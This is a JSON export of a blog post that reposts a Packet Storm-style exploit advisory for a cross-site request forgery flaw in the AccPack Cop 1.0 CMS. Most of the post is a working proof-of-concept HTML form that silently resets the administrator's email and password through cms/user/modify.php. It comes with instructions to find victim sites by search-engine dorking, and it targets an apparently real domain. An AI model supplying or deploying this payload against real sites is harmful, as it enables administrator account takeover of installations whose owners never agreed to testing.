{"id":58601,"date":"2024-08-02T20:49:36","date_gmt":"2024-08-02T17:49:36","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179871\/accpackcop10-xsrf.txt"},"modified":"2024-08-02T20:49:36","modified_gmt":"2024-08-02T17:49:36","slug":"accpack-cop-1-0-cross-site-request-forgery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/accpack-cop-1-0-cross-site-request-forgery\/","title":{"rendered":"AccPack Cop 1.0 Cross Site Request Forgery"},"content":{"rendered":"<p>=============================================================================================================================================<br \/>| # Title : AccPack Cop v1.0 CSRF Vulnerability |<br \/>| # Author : indoushka |<br \/>| # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1 (64 bits) |<br \/>| # Vendor : http:\/\/webpay.com.np\/#Product |<br \/>=============================================================================================================================================<\/p>\n<p>poc :<\/p>\n[+] Dorking \u0130n Google Or Other Search Enggine.<\/p>\n[+] The following HTML code modifies the admin information.<\/p>\n[+] Go to the line 5. Set the target site link Save changes and apply . <\/p>\n[+] infected file : cms\/user\/modify.php.<\/p>\n[+] http:\/\/127.0.0.1\/q7.3\/cms\/user\/modify.php.<\/p>\n[+] save code as poc.html <\/p>\n[+] payload : <\/p>\n<p>&lt;\/head&gt;<br \/>&lt;body&gt;<br \/>&lt;div class=&#8221;container&#8221;&gt;<br \/>&lt;div class=&#8221;text-center&#8221; style=&#8221;padding: 5px&#8221;&gt;&lt;h3&gt;User Edit&lt;\/h3&gt;&lt;\/div&gt;<br \/>&lt;form action=&#8221;https:\/\/tssclahanorgnp\/cms\/user\/modify.php&#8221; method=&#8221;POST&#8221; enctype=&#8221;multipart\/form-data&#8221;&gt;<br \/>&lt;div hidden=&#8221;true&#8221;&gt;<br \/>&lt;input type=&#8221;text&#8221; name=&#8221;id&#8221; id=&#8221;id&#8221; value=&#8221;1&#8243;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8217;email&#8217;&gt;Email&lt;\/label&gt;&lt;input type=&#8221;text&#8221; class=&#8221;form-control&#8221; name=&#8217;email&#8217; id=&#8217;email&#8217; value=&#8221;indoushka@mail.dz&#8221;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8217;password&#8217;&gt;Password&lt;\/label&gt;&lt;input type=&#8221;text&#8221; class=&#8221;form-control&#8221; name=&#8217;password&#8217; id=&#8217;password&#8217; type=&#8217;password&#8217; value=&#8221;123456&#8243;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;tr&gt;<br \/>&lt;div&gt;<br \/>&lt;label for=&#8217;status&#8217;&gt;Status&lt;\/label&gt;<br \/>&lt;input type=&#8221;radio&#8221; name=&#8221;status&#8221; id=&#8221;actiive&#8221; value=&#8221;1&#8243; checked \/&gt; &lt;label for=&#8221;active&#8221;&gt;Active&lt;\/label&gt;<br \/>&lt;input type=&#8221;radio&#8221; name=&#8221;status&#8221; id=&#8221;passive&#8221; value=&#8221;0&#8243; \/&gt;&lt;label for=&#8221;passive&#8221;&gt;Passive&lt;\/label&gt;<\/p>\n<p>&lt;\/div&gt; <br \/>&lt;div style=&#8217;height:80&#8242;&gt;<br \/>&lt;input type=&#8217;submit&#8217; value=&#8217;Submit&#8217;&gt;&lt;input type=&#8217;reset&#8217; Value=&#8217;Reset&#8217;&gt;<br \/>&lt;\/div&gt;<br \/>&lt;\/form&gt;<br \/>&lt;\/div&gt;<\/p>\n<p>&lt;\/body&gt;<br \/>&lt;\/html&gt;<\/p>\n<p>Greetings to :============================================================<br \/>jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |<br \/>==========================================================================<\/p>\n","protected":false},"excerpt":{"rendered":"<p>=============================================================================================================================================| # Title : AccPack Cop v1.0 CSRF Vulnerability || # Author : indoushka || # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 125.0.1 (64 bits) || # Vendor : http:\/\/webpay.com.np\/#Product |============================================================================================================================================= poc : [+] Dorking \u0130n Google Or Other Search Enggine. [+] The following HTML code modifies the admin information. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58601","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58601","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58601"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58601\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58601"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58601"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58601"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}